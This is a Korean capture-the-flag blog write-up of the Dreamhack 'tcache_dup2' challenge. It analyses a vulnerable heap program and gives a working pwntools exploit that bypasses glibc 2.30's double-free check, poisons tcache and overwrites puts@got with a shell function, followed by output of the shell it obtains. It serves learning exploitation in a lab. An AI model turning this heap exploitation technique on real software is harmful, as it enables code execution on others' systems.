문제 파일 압축을 풀어보면 이번에는 libc 버전이 2.30이다.
아래 링크에서 설명한 것과 같이 2.29 버전부터는 패치되어 다른 방법을 사용해야한다.
더불어 libc에 맞는 ld 파일을 찾아야하므로 아래 사이트에서 찾아보자.
http://old-releases.ubuntu.com/ubuntu/pool/main/g/glibc/
하나씩 뒤지다가 libc6-amd64_2.30-0ubuntu2.2_i386.deb 파일 내에서 찾아냈다.
libc 및 ld 파일을 교체해주자.
우선 코드부터 분석.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if(!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
if( size > 0x10 )
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
if( !ptr[idx] )
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while(1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
main 함수에서 3개의 메뉴를 받으며, 각각 heap 할당, heap 데이터 수정, heap 삭제의 기능을 가지고 있다.
- create heap
- 만일 idx 값이 7보다 크면 종료한다. 즉 main_arena에서 heap 관리가 되지 않도록 한다.
- 이후 size를 입력받아 heap 영역에 할당하고, size - 1의 크기만큼 값을 받아들인다.
- modify heap
- 마찬가지로 idx값이 7보다 크면 종료한다.
- 수정할 size를 입력 받고, 만일 사이즈가 0x10보다 크면 종료한다. 그러므로 다른 heap 영역으로의 침범이 불가하다.
- 그리고 데이터를 입력 받고 size의 크기만큼 값을 받아들인다.
- delete heap
- 마찬가지로 idx값이 7보다 크면 종료한다.
- 선택한 heap 영역을 free 한다.
- 마지막으로 숨겨진 함수로 get_shell이 있다.
이제 tcache poisoning이 가능한지 테스트해보자.
버전이 높기 때문에 double free는 일단 불가능하다.
┌──(kali㉿kali)-[~/Downloads]
└─$ ./tcache_dup2
1. Create heap
2. Modify heap
3. Delete heap
> 1
Size: 16
Data: aaaaa
1. Create heap
2. Modify heap
3. Delete heap
> 3
idx: 0
1. Create heap
2. Modify heap
3. Delete heap
> 3
idx: 0
free(): double free detected in tcache 2
zsh: IOT instruction ./tcache_dup2
하지만 modifiy 기능이 있기에 대신 bk 영역의 1 byte를 수정해줌으로써 double free가 가능하며, 이를 통해 tcache poisoning이 가능할 것으로 예상된다.
즉,
할당 -> 해제 -> tcache에 삽입할 주소 입력 및 bk 수정 -> 할당
을 통해 tcache poisoning이 가능하며, 이를 통해 특정 영역에 heap을 할당하여 변조가 가능하다.
다만 데이터를 출력해주지는 않아 memory leak은 불가능하기에 writable area, 특히 got 을 활용하여 get_shell 함수를 실행하면 될 것 같다.
즉, 전체적인 공격 흐름은
double free 및 tcache poisoning을 이용한 got 영역에 get_shell 함수 주소 삽입
이 될 것이다.
gdb를 통해 함수 list와 main 함수 어셈블러 코드를 보면 앞선 문제와 마찬가지로 메뉴 출력 시 puts 함수를 사용하기에 puts@got에 get_shell 함수를 덮어씌우면 되겠다.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010d0 free@plt
0x00000000004010e0 puts@plt
...
gef➤ disas main
Dump of assembler code for function main:
...
0x000000000040156e <+39>: call 0x401256 <initialize>
0x0000000000401573 <+44>: lea 0xaaa(%rip),%rdi # 0x402024
0x000000000040157a <+51>: call 0x4010e0 <puts@plt>
0x000000000040157f <+56>: lea 0xaad(%rip),%rdi # 0x402033
0x0000000000401586 <+63>: call 0x4010e0 <puts@plt>
0x000000000040158b <+68>: lea 0xab0(%rip),%rdi # 0x402042
0x0000000000401592 <+75>: call 0x4010e0 <puts@plt>
0x0000000000401597 <+80>: lea 0xab3(%rip),%rdi # 0x402051
0x000000000040159e <+87>: mov $0x0,%eax
...
0x0000000000401602 <+187>: jmp 0x401573 <main+44>
End of assembler dump.
공격을 위한 모든 값들은 pwntools로 가져올 수 있기 때문에 특별히 함수 주소를 찾아내지는 않고 바로 공격 코드를 작성해보자.
from pwn import *
p = remote('host3.dreamhack.games',22964)
#p = process('./tcache_dup2')
e = ELF('./tcache_dup2')
def crt(size,data):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def mod(idx,size,data):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b': ',idx)
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def dlt(idx):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',idx)
#make tcache counter to 2
crt(b'16',b'a')
dlt(b'0')
mod(b'0',b'16',b'a'*9)
dlt(b'0')
#insert puts@got to tcache
crt(b'16',b'a')
dlt(b'0')
puts_got = p64(e.got['puts']) + b'\x00' #last 1 byte is to change bk
mod(b'0',b'16',puts_got)
crt(b'16',b'a')
#insert get_shell address to puts@got
get_shell_add = p64(e.symbols['get_shell'])
crt(b'16',get_shell_add)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 22964: Done
[*] '/home/kali/Downloads/tcache_dup2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
[*] Switching to interactive mode
$ id
uid=1000(tcache_dup2) gid=1000(tcache_dup2) groups=1000(tcache_dup2)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
cmd_center (0) | 2022.08.04 |
---|---|
sint (0) | 2022.08.04 |
tcache_dup (0) | 2022.08.03 |
Tcache Poisoning (0) | 2022.08.02 |
uaf_overwrite (0) | 2022.08.01 |